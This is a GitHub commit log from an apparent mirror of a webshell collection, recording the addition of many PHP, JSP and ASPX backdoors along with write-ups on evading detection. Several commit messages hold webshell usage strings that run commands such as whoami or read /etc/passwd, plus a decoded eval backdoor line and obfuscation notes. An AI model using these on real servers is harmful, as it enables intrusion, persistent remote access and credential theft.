1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00

240 Commits

Author SHA1 Message Date
new
63bbb64fdb Add files via upload
upload this project zip
2023-04-08 19:41:36 +08:00
new
69cd1fe7e5 Delete ysrc directory
delete
2023-04-08 19:37:28 +08:00
new
9c35c31c1a Create 2023-04-08.js
2023-04-08.php 的密文 二次生成版本
2023-04-08 19:30:28 +08:00
new
a0960dbc8c Create 2023-04-08.php
乱码部分
$c(getallheaders()['Demo']);
get 提交时 增加headers的参数Demo,然后值为需要运行的代码

进行的是异或运算
'P\V,,(..EC]C<M3EcU kq)K%z6OE' 与 't?~KI\OB)+8"X(A6K|{L5L&J]kf~'
2023-04-08 19:25:09 +08:00
new
93c4451d26 Update README.md 2023-03-11 20:06:30 +08:00
tennc
92c5b5a1e5 Create zw.php
#for xd20.txt & xd30.txt

$txt = $php

$password = base64_decode('ZGV2aWxAMTAxMA==');
2022-10-30 12:42:46 +08:00
tennc
a86ca5173c Create xd20.txt
#for xd20.txt & xd30.txt

$txt = $php

$password = base64_decode('ZGV2aWxAMTAxMA==');

from: https://github.com/devilbhai/webshell
2022-10-30 12:41:01 +08:00
tennc
8e952dabbf Create xd30.txt
#for xd20.txt & xd30.txt

$txt = $php

$password = base64_decode('ZGV2aWxAMTAxMA==');

from: https://github.com/devilbhai/webshell
2022-10-30 12:39:52 +08:00
tennc
62a59181cf Create upsi1on.php
from: https://github.com/upsi1on/webshell/blob/main/upsi1on/upsi1on.php
2022-10-02 08:43:40 +08:00
tennc
c1146d38f1 Create encrypt.php
from: https://github.com/upsi1on/webshell/blob/main/sungux/encrypt.php
2022-09-30 23:20:16 +08:00
tennc
bcf94c97a7 Create decrypt.php 2022-09-30 23:19:23 +08:00
tennc
acef91925b Add files via upload
add zip for bak
2022-09-22 13:22:25 +08:00
tennc
f9f5cbda0d Update .gitmodules
add zxc75280864 webshell
2022-09-22 13:19:13 +08:00
tennc
cf2d67dfaa Add files via upload
add webshell zip
from: https://github.com/zxc7528064/-WebShell-
2022-09-22 13:16:02 +08:00
tennc
1f36cb99cd Create README.md 2022-09-22 13:15:22 +08:00
tennc
79eb7d9227 Update .gitmodules 2022-09-17 11:14:02 +08:00
tennc
cadfbc2caf Delete CTF-WebShells--main.zip 2022-09-17 11:12:56 +08:00
tennc
72e4688405 Add files via upload 2022-09-17 11:12:41 +08:00
tennc
f10db45821 Rename 0xAbbarhSF/README.md to 0xAbbarhSF/CTF-WebShells-/README.md 2022-09-17 11:11:53 +08:00
tennc
47837c21f7 Add files via upload
add some webshell
2022-09-17 11:11:06 +08:00
tennc
280e712b09 Create README.md
from: https://github.com/0xAbbarhSF/CTF-WebShells-
2022-09-17 11:10:34 +08:00
tennc
9cba01247f Rename webshell-free/Exception.php to webshell-free/php/Exception.php 2022-09-14 21:59:01 +08:00
tennc
348cd58f60 Create Exception.php
from: https://github.com/rexSurprise/webshell-free/blob/master/php_new/Exception.php
2022-09-14 21:58:41 +08:00
tennc
f4b5e92000 Update .gitmodules 2022-09-12 16:17:49 +08:00
tennc
bf60522eda Update .gitmodules 2022-09-12 16:14:50 +08:00
tennc
a103d9cfe6 Create bat_b4tm4n.php
from: https://github.com/k4mpr3t/b4tm4n/
author: k4mpr3t
Username : k4mpr3t
Password : k4mpr3t
2022-09-12 16:10:34 +08:00
tennc
d932689080 Create asw.php
from: https://github.com/dewanerajab/L0N3W0RM-WEBSHELL
username :aku
password :dia
author:L0N3W0RM
L0N3W0RM SH3LL is a Recoded k4mpr3t PHP WEBSHELL By L0N3W0RM
2022-09-12 16:08:09 +08:00
tennc
4393f9ed27 Update .gitmodules
add rexSurprise/webshell-free
2022-09-12 16:03:37 +08:00
tennc
6ff84d274f Add files via upload
from: https://github.com/rexSurprise/webshell-free
2022-09-12 16:02:01 +08:00
tennc
277adb2a70 Create README.md
add
2022-09-12 16:01:02 +08:00
tennc
4b25895d53 Create ucen.php
from: https://github.com/TrueFalseID/WebShell/blob/main/ucen.php
2022-09-12 15:57:29 +08:00
tennc
e520415ab5 Create wp_backup.php
from: https://github.com/AzhariKun/webshell/blob/main/wp_backup.php
2022-09-10 23:06:13 +08:00
tennc
6e6d0feb89 Create wsoExGently.php
from: 59884d10cf/wsoExGently.php
2022-09-10 22:57:51 +08:00
tennc
1c8c51e99e Create wso-ng.php
from: https://github.com/aels/wso-ng/blob/main/wso-ng.php
author: @aels 👍
2022-09-10 22:54:57 +08:00
tennc
ce217ce831 Create shell.php
from: https://github.com/liiuxii/zxc/blob/main/shell.php
2022-09-10 22:50:33 +08:00
tennc
726ec04492 Create kyo.php
from: https://github.com/liiuxii/zxc/blob/main/kyo.php
author: @liiuxii 👍
2022-09-10 22:48:17 +08:00
tennc
aa52706f6b Create .v.php
from: https://github.com/liiuxii/zxc/blob/main/.v.php
author: @zxc 👍
2022-09-10 22:44:29 +08:00
tennc
98a0b488ea Create README.md 2022-09-10 22:42:56 +08:00
tennc
b69e8c9752 Create bypass403.php
from: https://github.com/liiuxii/zxc/blob/main/bypass403.php
2022-09-10 22:42:31 +08:00
tennc
3873af89db Add files via upload
from: https://github.com/cseroad/Webshell_Generate/releases/tag/v1.1
md5:e75fd225b3a72fc83f5a44bdf0f1111d
2022-09-10 22:37:04 +08:00
tennc
9533e53974 Delete @Webshell_Generate 2022-09-10 22:32:24 +08:00
tennc
4c9af6c8a0 Create @Webshell_Generate 2022-09-10 22:32:12 +08:00
tennc
d64b110665 Create README.md
from: https://raw.githubusercontent.com/cseroad/Webshell_Generate/main/README.md
2022-09-10 22:31:25 +08:00
tennc
357af8d253 Update .gitmodules
add create webshell tools
from: https://github.com/cseroad/Webshell_Generate
author: cseroad 👍
2022-09-10 22:29:05 +08:00
tennc
9691e652c2 Create 2022-09-09-05.php
from: https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247499857&idx=1&sn=b49ca696334f2161e7311ad625ee84c6&chksm=ce677aedf910f3fb0fa061a7d3b403980dfccb2fc59acf0aec87bb722b90c6715241448cb86c&scene=178&cur_album_id=2444541239833182209#rd
usage: post data with bp
![]https://mmbiz.qpic.cn/mmbiz_jpg/ibZ6uZjjH3v4B8IYKPPiaW3Nw7XhcHJ4ichU074sRs4grL8Bq1rdlrjqq07uySD0f3MrVPHCTibVMIT8ib2oPvgMtjA/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1
2022-09-09 23:15:37 +08:00
tennc
35d39e031c Create 2022-09-09-04.php
from: https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247499857&idx=1&sn=b49ca696334f2161e7311ad625ee84c6&chksm=ce677aedf910f3fb0fa061a7d3b403980dfccb2fc59acf0aec87bb722b90c6715241448cb86c&scene=178&cur_album_id=2444541239833182209#rd
usage: post data with bp
![]https://mmbiz.qpic.cn/mmbiz_jpg/ibZ6uZjjH3v4B8IYKPPiaW3Nw7XhcHJ4ichohmQSW8IFYff9YmRiaOl2b4jslawsOicJ9g8BcYlCpfKTh81I1pKYM7g/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1
2022-09-09 23:14:12 +08:00
tennc
33e854d721 Create 2022-09-09-03.php
from: https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247499857&idx=1&sn=b49ca696334f2161e7311ad625ee84c6&chksm=ce677aedf910f3fb0fa061a7d3b403980dfccb2fc59acf0aec87bb722b90c6715241448cb86c&scene=178&cur_album_id=2444541239833182209#rd
usage: post data with bp
![]https://mmbiz.qpic.cn/mmbiz_jpg/ibZ6uZjjH3v4B8IYKPPiaW3Nw7XhcHJ4ichrMIiaM6p1ZBTPvOForXalDT7ySt7J6OnSgqicANhWUXwXH490Od0AExw/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1
2022-09-09 23:12:00 +08:00
tennc
4837a655b7 Create 2022-09-09-02.php
from: https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247499857&idx=1&sn=b49ca696334f2161e7311ad625ee84c6&chksm=ce677aedf910f3fb0fa061a7d3b403980dfccb2fc59acf0aec87bb722b90c6715241448cb86c&scene=178&cur_album_id=2444541239833182209#rd
usage: with bp post data
![img]https://mmbiz.qpic.cn/mmbiz_jpg/ibZ6uZjjH3v4B8IYKPPiaW3Nw7XhcHJ4ichBGLbXWsouhta1pDuF1TtQ67Zicw3LlWpwk9s3RpEib7JyRR2GQ5BfGxQ/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1
2022-09-09 23:10:43 +08:00
tennc
f06a40760e Create 2022-09-0901.php
from: https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247499857&idx=1&sn=b49ca696334f2161e7311ad625ee84c6&chksm=ce677aedf910f3fb0fa061a7d3b403980dfccb2fc59acf0aec87bb722b90c6715241448cb86c&scene=178&cur_album_id=2444541239833182209#rd
usage: with bp post data
![img]https://mmbiz.qpic.cn/mmbiz_jpg/ibZ6uZjjH3v4B8IYKPPiaW3Nw7XhcHJ4ich5eSJuSXdATfExX0w34D0O8b1ibF9EMNfvyzY9UEfeZL3NI4C3vc3YsA/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1
2022-09-09 23:08:35 +08:00
tennc
f940970766 Update README.md 2022-09-03 13:35:42 +08:00
tennc
c801606539 Create 2022-09-03-03.jsp
From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg
Author: naihe567
Usage: xxx.jsp?cmd=whoami
2022-09-03 11:09:10 +08:00
tennc
473c6f15a8 Create 2022-09-03-02.jsp
From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg
Author: naihe567
Usage: xxx.jsp?cmd=whoami
2022-09-03 11:08:21 +08:00
tennc
2c1c82b4c1 Create 2022-09-03-01.jsp
From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg
Author: naihe567
2022-09-03 11:06:58 +08:00
tennc
7e80e8a440 Update How To Exploit PHP Remotely To Bypass Filters & WAF Rules.md 2022-08-30 23:29:03 +08:00
tennc
3021d176c3 Create How To Exploit PHP Remotely To Bypass Filters & WAF Rules.md
from: https://tutorialboy24.medium.com/how-to-exploit-php-remotely-to-bypass-filters-waf-rules-46dc597cf322
author: TutorialBoy
2022-08-30 23:27:59 +08:00
tennc
b37de05dbb Create 2022-08-26-08.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
usage: http://example.com/shell.php?f=system&a=pwd
2022-08-26 19:54:45 +08:00
tennc
6aab7111e9 Create 2022-08-26-07.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
usage: http://example.com/shell.php?f=system&a=pwd
2022-08-26 19:54:15 +08:00
tennc
52d483f2cd Create 2022-08-26-06.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
usage: http://example.com/shell3.php?f=system&a=pwd&p=password
2022-08-26 19:53:05 +08:00
tennc
3e96ef6e7b Create 2022-08-26-05.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
usage: http://example.com/shell7php?f=system&a=whoami&p=\_
2022-08-26 19:51:16 +08:00
tennc
d694f15113 Create 2022-08-26-04.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
usage: http://example.com/shell7php?f=system&a=whoami&p=\_
2022-08-26 19:50:46 +08:00
tennc
81f9158c6e Create 2022-08-26-03.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
usage: http://example.com/shell7php?f=system&a=whoami&p=\_
2022-08-26 19:50:04 +08:00
tennc
4c6e0b8dd9 Create 2022-08-26-02.php
from: https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
useage: http://example.com/shell7php?f=system&a=whoami&p=\_
2022-08-26 19:48:27 +08:00
tennc
bd520ddddc Create 2022-08-26-01.php
useage: http://example.com/shell7php?f=system&a=whoami&p=\_
from : https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
2022-08-26 19:47:14 +08:00
tennc
ffb2c01bdc add 一句话木马的精简史.md
from : https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ
一句话木马的精简史.md
2022-08-26 19:44:28 +08:00
tennc
43c3fd24a3 Create system2022-08-22-4.php
from: https://zhuanlan.zhihu.com/p/550150061
usage: xxx.php?1=whoami
2022-08-22 22:42:23 +08:00
tennc
a5b681ccf8 Create system2022-08-22-3.php
from: https://zhuanlan.zhihu.com/p/550150061
__FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。
usage:
file:xxx.php
post: body==>1=whoami
2022-08-22 22:40:18 +08:00
tennc
615c74bdec Create system2022-08-22-2.php
from: https://zhuanlan.zhihu.com/p/550150061

usage: xxx.php?1[]=system&1[]=a&1[]=b&2=whoami
2022-08-22 22:37:10 +08:00
tennc
c9540e5a85 Create system2022-08-22.php
from : https://zhuanlan.zhihu.com/p/550150061
该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE
usage: xxx.php?3=whoami
2022-08-22 22:32:44 +08:00
tennc
a6e6672291 add msmap 2022-08-20 @hosch3n 👍
From: https://github.com/hosch3n/msmap
Author : hosch3n
2022-08-20 17:25:19 +08:00
tennc
1f2fc9c832 Update README.md 2022-08-20 17:21:44 +08:00
tennc
5142495a2a Create README.md 2022-08-20 17:20:08 +08:00
tennc
39cf8cacca Create simple_2022_08_15.php
running : system('cat /etc/passwd')
![img](https://raw.githubusercontent.com/tennc/webshell/master/php/Fig4-web-shell-example-2.png)
2022-08-15 00:46:41 +08:00
tennc
95f12107a7 Add files via upload
upload png with simple2022_08_15.php pic
2022-08-15 00:45:05 +08:00
tennc
d31dd250f0 Rename 2022-08-12.asp.txt to 2022-08-12.aspx.txt
decode core code:
608592;var safe="unsafe";eval(Request.Item['pass'], safe);1825776;

pass:pass
2022-08-12 00:54:31 +08:00
tennc
08dd7f3ed2 Update 2022-08-12.asp.txt 2022-08-12 00:41:23 +08:00
tennc
a778458785 Create 2022-08-12.asp.txt
not decode
2022-08-12 00:25:56 +08:00
tennc
8f9a481d39 Update README.md 2022-08-08 22:39:13 +08:00
tennc
19450447f7 Create WebSocket 内存马,一种新型内存马技术.md
from: https://mp.weixin.qq.com/s/XwWqTBeeaR9Vq8Htr2vKcQ
Author: veo
2022-08-08 22:33:21 +08:00
tennc
e4f97e3722 Update .gitmodules 2022-08-05 23:29:24 +08:00
tennc
45910b1865 Add files via upload
from: https://xz.aliyun.com/t/11391
author: suansuan
2022-08-05 23:24:59 +08:00
tennc
ddc544e992 Create 简单的冰蝎流量魔改.md
from: https://xz.aliyun.com/t/11530
aythor: Credink
2022-08-05 23:15:17 +08:00
tennc
9bb3f1b806 Create 几种实战成功过的webshell的免杀方式.md
from: https://xz.aliyun.com/t/10937

author: Icepaper
2022-08-05 23:10:13 +08:00
tennc
795d0a1039 Create LICENSE 2022-08-01 23:31:11 +08:00
tennc
ccba530eec Update readme.md 2022-08-01 23:15:02 +08:00
tennc
3f960943e0 Update readme.md 2022-08-01 23:14:29 +08:00
tennc
21dbbbee7f Update readme.md 2022-08-01 23:13:47 +08:00
tennc
bd7551a9db Update readme.md 2022-08-01 23:13:01 +08:00
tennc
59be8c0a37 Update readme.md 2022-08-01 23:12:44 +08:00
tennc
a14652d3bc Merge pull request #55 from foulenzer/typo_fix
fixed typo
2022-07-26 22:14:42 +08:00
tennc
36b676748f Update .NET WebShell 免杀系列之Unicode编码.md 2022-07-26 13:28:26 +08:00
tennc
fc5099cf0d Rename .NET WebShell 免杀系列之Unicode编码 to .NET WebShell 免杀系列之Unicode编码.md 2022-07-26 13:27:39 +08:00
tennc
cb5203e131 Create .NET WebShell 免杀系列之Unicode编码
Author:[dotNet安全矩阵](doNetSafety) WX公众号
2022-07-26 13:27:13 +08:00
tennc
996152da78 add wsmemshell
thanks @veo
2022-07-26 13:09:53 +08:00
tennc
1643b37786 add wsmemshell readme 2022-07-26 13:07:46 +08:00
tennc
e35c908f48 Create readme.md 2022-07-26 13:06:27 +08:00
tennc
638c20250e Create LICENSE 2022-07-26 13:00:44 +08:00
tennc
6c7c4681fe Update README.md 2022-07-26 12:59:37 +08:00
tennc
1ba4ac2b81 Update readme.md 2022-07-26 12:58:15 +08:00
tennc
062a4e2891 Create readme.md 2022-07-26 12:57:36 +08:00
tennc
710355afbb Delete codeql-analysis.yml 2022-05-08 14:19:17 +08:00
foulenzer
11c12cca75 fixed typo 2022-04-12 09:37:10 -04:00
tennc
59661e7c8a Update .gitmodules 2022-03-24 23:06:38 +08:00
tennc
09f16a51e5 Create codeql-analysis.yml 2022-03-24 22:58:33 +08:00
tennc
4d650897ec Create 20220213_06.php 2022-02-13 22:38:53 +08:00
tennc
e421f51b5a Create 20220213_05.php
from : https://github.com/eddie222-diamond/php/blob/main/head.php
2022-02-13 22:37:02 +08:00
tennc
9640d18e26 Create 20220213_04.php 2022-02-13 22:33:58 +08:00
tennc
b9f06d9682 Create 20220213_03.php 2022-02-13 22:28:25 +08:00
tennc
5f2e172790 Create 20220213_02.php 2022-02-13 22:27:55 +08:00
tennc
ccf2230bfa Create 20220213.php
add godzilla php webshell
2022-02-13 22:24:49 +08:00
tennc
44e785c4cc Merge pull request #53 from its0x08/patch-1
15 bytes long PHP payload to achieve RCE!
2022-02-12 22:32:50 +08:00
0x08
e12f91f024 15 bytes long PHP payload to achieve RCE!
Usage:
http://127.0.0.1/?_=ls
2022-02-05 20:01:07 +03:00
tennc
6a095d49ac Create 20220206.php
35 bytes PHP backdoor protected by a password, supports arbitrary function calls.

/20220206.php?p=_&f=system&c=ls
2022-02-05 23:12:46 +08:00
tennc
4c180bb803 Merge pull request #52 from krishpranav/patch-1
perl web shell
2022-02-04 21:45:20 +08:00
Krisna Pranav
cb19bf2710 perl web shell 2021-12-28 19:56:11 +05:30
tennc
b3bdf8000d Merge pull request #51 from zidingz/patch-1
Update SECURITY.md
2021-11-13 20:20:11 +08:00
Ziding Zhang
994d7ee68a Update SECURITY.md
Kindly provide a contact email for security researchers. Thanks!
2021-11-10 16:06:08 +00:00
tennc
8527ff48f4 Create SECURITY.md 2021-11-04 23:11:12 +08:00
tennc
cddf387563 Delete jetbrains.png 2021-10-09 07:41:11 +08:00
tennc
871b85b609 Update README_EN.md 2021-10-09 07:37:15 +08:00
tennc
a8d47b1df0 Create README.md
change
2021-10-09 07:36:33 +08:00
tennc
869ad2f4e0 Update README.md
change
2021-10-09 07:35:35 +08:00
tennc
a27c7be5c9 thanks jetbrains 2021-09-21 06:39:38 +08:00
tennc
8823c83de7 Update README.md 2021-09-21 06:37:19 +08:00
tennc
28fee469e3 add proxy.py
tencent cloud scf  with proxy to connect webshell
use :  apiurl/url=hxxp://xxx.xx/xxx.shell
from : https://mp.weixin.qq.com/s/kBSe3rhaIVvtH3uomM-efA
2021-08-15 16:34:22 +08:00
tennc
e5f094a7f8 Delete license 2021-08-15 16:20:57 +08:00
tennc
324a4c8a4e add MIT License 2021-08-15 16:20:24 +08:00
tennc
2abce7fe1d Update README.md 2021-08-15 16:19:30 +08:00
tennc
a401420941 Create LICENSE 2021-08-15 16:18:54 +08:00
tennc
2c42c91689 add php3.php
from : https://xz.aliyun.com/t/9218
2021-08-15 16:15:40 +08:00
tennc
45260b3568 add php2.php
from : https://xz.aliyun.com/t/9218
2021-08-15 16:13:47 +08:00
tennc
5ab8c018a4 add php1.php
from : https://xz.aliyun.com/t/9218
Author: Isabellae
2021-08-15 16:12:59 +08:00
tennc
98d73aa5e5 Create LICENSE 2021-08-15 16:06:22 +08:00
tennc
b548c1be44 Update README.md 2021-08-08 11:48:26 +08:00
tennc
b200051df7 add readme.md 2021-08-04 21:24:34 +08:00
tennc
6720e176b2 Create YAPS @Nickguitar 👍👍👍
viersion 1.3.1
author : Nickguitar
from : https://github.com/Nickguitar/YAPS
2021-08-04 21:23:33 +08:00
tennc
0f144916c0 Update README.md 2021-08-04 21:13:13 +08:00
tennc
f934c672f8 Update README.md 2021-07-04 16:02:04 +08:00
tennc
da63d7d5a7 Update README.md 2021-07-04 16:01:44 +08:00
tennc
b7b1bb48a0 add assect
from : https://github.com/jweny/MemShellDemo
2021-06-05 15:03:48 +08:00
tennc
0196c72a01 Create retransform字节码.md
from: https://github.com/jweny/MemShellDemo/tree/master/MemShellForJava/%E5%AD%97%E8%8A%82%E7%A0%81%E5%A2%9E%E5%BC%BA%E5%9E%8B/retransform%E5%AD%97%E8%8A%82%E7%A0%81
2021-06-05 15:01:05 +08:00
tennc
8898dbb7a6 add hideShell.jsp @jweny
from : https://github.com/jweny/MemShellDemo/blob/master/MemShellForJava/%E4%BB%BB%E6%84%8Fjsp%E9%9A%90%E8%97%8F/hideShell.jsp
2021-06-05 14:58:13 +08:00
tennc
8b5b371da4 add python flask 内存马 @jweny
from : https://github.com/jweny/MemShellDemo/blob/master/MemShellForPython/python%20flask%20%E5%86%85%E5%AD%98%E9%A9%AC.md
2021-06-04 19:54:16 +08:00
tennc
bbddc284a2 Update readme.md 2021-05-30 18:50:12 +08:00
tennc
f7555d51f5 Update readme.md 2021-05-30 18:49:29 +08:00
tennc
ff8712de76 Update readme.md 2021-05-30 18:47:34 +08:00
tennc
a978dd7e54 Create readme.md 2021-05-30 18:46:35 +08:00
tennc
12f29dea9a add test.txt @jweny 👍
from : https://github.com/jweny/MemShellDemo
2021-05-26 23:05:31 +08:00
tennc
28770e0fc8 add MemphpShell @MemShell 👍
from :https://github.com/jweny/MemShellDemo
2021-05-26 23:04:25 +08:00
tennc
89d889b70f Update README.md 2021-05-23 16:19:53 +08:00
tennc
f6efeec04a Create 2021052101.jsp
from : https://mp.weixin.qq.com/s/_Ei3Atfd-4Gt-pzr3--3OQ
from : https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484690&idx=1&sn=6b7bb9ee009ff29260e95b6a6a3e74c7&scene=21#wechat_redirect
2021-05-21 23:32:13 +08:00
tennc
0996c99902 Create shell-2021-04-23.php
from : https://mp.weixin.qq.com/s/xWw8zWSD4CZn-PQWOCh1bg
author: wxjjh
2021-04-23 21:52:06 +08:00
tennc
9cbc8d5820 Create shell-2021-03-18.php 2021-04-09 12:46:48 +08:00
tennc
74f9d4ce0f Update README.md 2021-04-05 14:49:45 +08:00
tennc
13752971e1 Update README.md 2021-04-03 16:26:04 +08:00
tennc
c3153bff1b wso.php 2021 @twepl 👍
update wso.php for php8 
from : https://github.com/twepl/wso
2021-04-03 16:16:53 +08:00
tennc
32a2c24e87 Update README.md 2021-04-03 16:12:13 +08:00
tennc
db62a9c082 Create AntSword_2021-03-06.php
from : https://xz.aliyun.com/t/9218
2021-03-06 17:09:30 +08:00
tennc
5ce21f94e4 Update README.md 2021-02-19 12:57:43 +08:00
tennc
a875c8225a Update README.md 2021-02-06 21:57:03 +08:00
tennc
9da9029fb0 Update README.md 2021-01-04 21:55:41 +08:00
tennc
8e77847595 add create_webshell_with_py.py @pureqh :💯
Create webshell
from:https://mp.weixin.qq.com/s/s0piu9qU8oq6M1qAZCyI4g
github: https://github.com/pureqh/webshell
author: pureqh
2021-01-04 21:54:14 +08:00
tennc
b59b949389 Create bypass-with-base32.php 2021-01-04 21:50:18 +08:00
tennc
eafae576c9 Create bypass2021-01-04-01.php
from https://mp.weixin.qq.com/s/s0piu9qU8oq6M1qAZCyI4g
2021-01-04 21:47:58 +08:00
tennc
a6546d03ee Create getConstants2.php
use: xxx/webshell/1?<>=system(whoami)
from : https://xz.aliyun.com/t/8684
2020-12-28 22:15:54 +08:00
tennc
fd35f195c1 Create getConstants.php
use: xxxxxx/getConstants?1=phpinfo()
from : https://xz.aliyun.com/t/8684
2020-12-28 01:08:19 +08:00
tennc
b66c3bb616 add YXNzZXJ0YWE.php bypass 啊D
from: https://xz.aliyun.com/t/8684
2020-12-28 01:05:10 +08:00
tennc
c9755402a6 add Webshell免杀的思考与学习.mhtml
from : https://xz.aliyun.com/t/8684
author: Isabellae
2020-12-28 01:02:49 +08:00
tennc
c7c6b39833 Create shell2020-12-06.php
password:rebeyond
2020-12-07 23:05:11 +08:00
tennc
f875e7b780 Create Shu1337.php
from: https://github.com/linuxsec/shu-shell
@linuxsec 👍
2020-11-18 22:20:42 +08:00
tennc
da33d92ba8 Update README_EN.md 2020-11-08 20:43:01 +08:00
tennc
9ef78d3996 Update README.md 2020-11-08 20:42:38 +08:00
tennc
9495a6c59e Rename README_ZH.md to README.md 2020-11-08 20:40:40 +08:00
tennc
0266c30801 Rename README.md to README_EN.md 2020-11-08 20:40:19 +08:00
tennc
9f63d98db5 Update README.md 2020-11-08 20:32:41 +08:00
tennc
e467712762 Create README_ZH.md
add README_ZH.md
2020-11-08 20:30:54 +08:00
tennc
3ffc1b6312 Merge pull request #40 from rubo77/patch-1
Reame: translate to english
2020-11-08 20:23:40 +08:00
Ruben Barkow-Kuder
fc276c0bb0 Reame: translate to english
I used mainly Google translate, so I could have gotten some things wrong, please use this as a first stept to translate your Readme into english.

you could leave the original as `Readme_zn.md` if you like
2020-11-07 14:27:28 +01:00
tennc
e9b09f671b Merge pull request #38 from RobinvandenHurk/patch-1
Fixed label
2020-10-22 23:26:08 +08:00
Robin van den Hurk
acb55c61bb Fixed label 2020-10-13 14:46:48 +02:00
tennc
7e6629ab49 Update README.md 2020-10-11 19:15:53 +08:00
tennc
7105ac90a5 Create get1.php
use: "`****`"

from: 19e3e0ab25

@thephenix4 👍
2020-10-11 19:11:12 +08:00
tennc
976ca14a7d Create webshell-without-alphanumeric2.php
what ?? 
from: 3ea2d589ae

@oktavandi 👍
2020-10-11 19:07:02 +08:00
tennc
823aa6ff59 add 冰蝎,从入门到魔改.pdf 2020-10-06 12:55:18 +08:00
tennc
67468c8243 add 冰蝎,从入门到魔改(续).pdf 2020-10-06 12:49:49 +08:00
tennc
df832d0366 Create cotent01.md
from : https://blog.mrcl0wn.com/2019/01/hold-door-hold-backdoor-php.html
2020-09-22 13:06:26 +08:00
tennc
dd21bebfc0 add some submodule webshell project to this project 2020-09-14 13:32:03 +08:00
tennc
25f1dc52ce Update README.md 2020-09-14 13:07:25 +08:00
tennc
222fc05087 Update README.md 2020-09-14 13:04:36 +08:00
tennc
ce94519fd0 Update README.md
add some project webshell link
2020-09-14 13:03:43 +08:00
tennc
31c6b56f25 Update other shell repository.md 2020-09-07 23:30:54 +08:00
tennc
5f3741952d Update and rename other shell repository to other shell repository.md 2020-09-07 23:30:07 +08:00
tennc
43d9582172 Create php_webshell.py
create bypass safedog webshell  with python
from : https://github.com/pureqh/webshell
thanks to pureqh 👍
2020-09-05 17:44:37 +08:00
tennc
0da00dfca4 add php马-bypass _ alin'Blog.pdf
from : http://alin.run/2020/08/04/php-webshell-bypass/
2020-09-03 21:08:06 +08:00
tennc
719eb9131d Create ass.php
请求时,设置Referer头,后面以”ass****”结尾即可,比如:Referer: http://www.target.com/ass.php。
在使用Cknife时,注意软件实现有缺陷,会从第二个”:”处截断,可改成Referer: http%3a//www.target.com/ass.php
from : http://alin.run/2020/08/04/php-webshell-bypass/
2020-09-03 21:00:49 +08:00
tennc
9fd273a5a5 Create webshell-detect-bypass
from : LandGrey 👍
2020-09-03 20:58:19 +08:00
tennc
aeaf7516dd add 从Webshell的视角谈攻防对抗.pdf
from : https://www.freebuf.com/articles/network/247359.html
2020-09-01 21:06:04 +08:00
tennc
3ab759a148 add Upload与WAF的那些事.pdf
from : http://www.0x3.biz/archives/1925.html
2020-09-01 21:01:53 +08:00
tennc
2bea3becb2 Create 2020-08-31-01.php
from: https://github.com/clm123321/tongda_oa_rce/blob/master/tongda.py#L145
2020-08-31 21:39:22 +08:00
tennc
a6acc071dd Delete CNAME 2020-08-30 15:16:02 +08:00
tennc
41e8490caf Delete CNAME 2020-08-30 15:14:38 +08:00
tennc
1f9390b340 Update CNAME
rewrite cname
2020-08-30 15:12:29 +08:00
tennc
e864fcd511 Create create_code_with_xor.py
create some code for php xor to bypass safedog
from : https://www.sqlsec.com/2020/07/shell.html#toc-heading-24
2020-08-30 14:05:29 +08:00
tennc
105f3ed358 Update README.md
add some project web site url
2020-08-29 15:33:12 +08:00
tennc
a83d9cb7e9 Update README.md
rewrite
2020-08-29 15:27:36 +08:00
tennc
349039f2d5 Merge pull request #35 from nil0x42/patch-1
Add `phpsploit` (C2 framework via PHP oneliner)
2020-08-29 15:25:06 +08:00
tennc
a09c535f6d Create bt_yincang_shell.md
from: https://mp.weixin.qq.com/s/-8JE1ovWKOorNr6MCAgejg
wx_id: 漏洞推送
2020-08-29 14:59:27 +08:00
nil0x42
57d76f059e Add phpsploit (C2 framework via PHP oneliner)
Add phpsploit tool (https://github.com/nil0x42/phpsploit):
Full-featured C2 framework which silently persists on webserver via evil PHP oneliner, with a complete asrenal of post-exploitation & privesc features
Ask me if you have any question 👍
2020-08-26 17:15:11 +00:00
tennc
3fb8abd7c9 Create php_custom_script_for_mysql_fix.php
fix php_custom_script_for_mysql_fix.php   乱码
2020-08-26 22:48:48 +08:00
tennc
e458de3dc7 Create python2_custom_script.py
add python2_custom_script.py
2020-08-26 22:47:31 +08:00
tennc
efe66a8e7b Create jspx_custom_script_for_mysql.jspx
